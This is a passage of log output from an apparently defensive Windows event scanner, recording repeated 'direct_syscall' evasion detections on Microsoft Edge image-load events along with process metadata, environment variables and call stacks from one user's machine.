(x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd55e9352 C:\Windows\System32\dsreg.dll!DsrFreeJoinInfo|0x7ffcd55f66d6 C:\Windows\System32\dsreg.dll!DsrGetPrtAuthorityInfo|0x7ffcd55d8bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55d7c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55d861e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55da2d7 C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffcd55da047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffc8cf55d77 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8f3cdf14 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8edd48d7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8edd4839 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175991 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9200979 +0100 CET + Params: base_address➜ 7ffcdba20000, checksum➜ 229548, default_address➜ 7ffcdba20000, file_path➜ C:\Windows\System32\profapi.dll, image_size➜ 167936, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdc69e312 C:\Windows\System32\crypt32.dll!CertGetNameStringA|0x7ffcdc6c008a C:\Windows\System32\crypt32.dll!CertCreateSelfSignCertificate|0x7ffcdc62c831 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc62c6a8 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc62d9f9 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc6523e6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffcdc651d7c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffcdc62e68e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc62fca0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc6523e6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffcd55d8bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55d7c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55d858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55da32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffcd55da047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffc8cf55d77 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8f3cdf14 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8edd48d7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8edd4839 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7d9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4176217 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9268797 +0100 CET + Params: base_address➜ 7ffcdb250000, checksum➜ 150871, default_address➜ 7ffcdb250000, file_path➜ C:\Windows\System32\msasn1.dll, image_size➜ 77824, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdc69e312 C:\Windows\System32\crypt32.dll!CertGetNameStringA|0x7ffcdc6c01ed C:\Windows\System32\crypt32.dll!CertCreateSelfSignCertificate|0x7ffcdc61ecca C:\Windows\System32\crypt32.dll!CertCreateContext|0x7ffcdc61f09e C:\Windows\System32\crypt32.dll!CertCreateContext|0x7ffcdc64d925 C:\Windows\System32\crypt32.dll!CryptDecodeObjectEx|0x7ffcdc64ef8d C:\Windows\System32\crypt32.dll!CryptDecodeObjectEx|0x7ffcdc646245 C:\Windows\System32\crypt32.dll!CertEnumCertificatesInStore|0x7ffcdc60af2a C:\Windows\System32\crypt32.dll!CertGetCertificateChain|0x7ffcdc632c51 C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffcdc64537c C:\Windows\System32\crypt32.dll!CertAddSerializedElementToStore|0x7ffcdc646daf C:\Windows\System32\crypt32.dll!CertEnumCertificatesInStore|0x7ffcdc62d7ca C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc6523e6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffcdc651d7c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffcdc62e68e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc62fca0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffcdc6523e6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffcd55d8bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55d7c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55d858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffcd55da32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffcd55da047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffc8cf55d77 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8f3cdf14 C:\Program Files 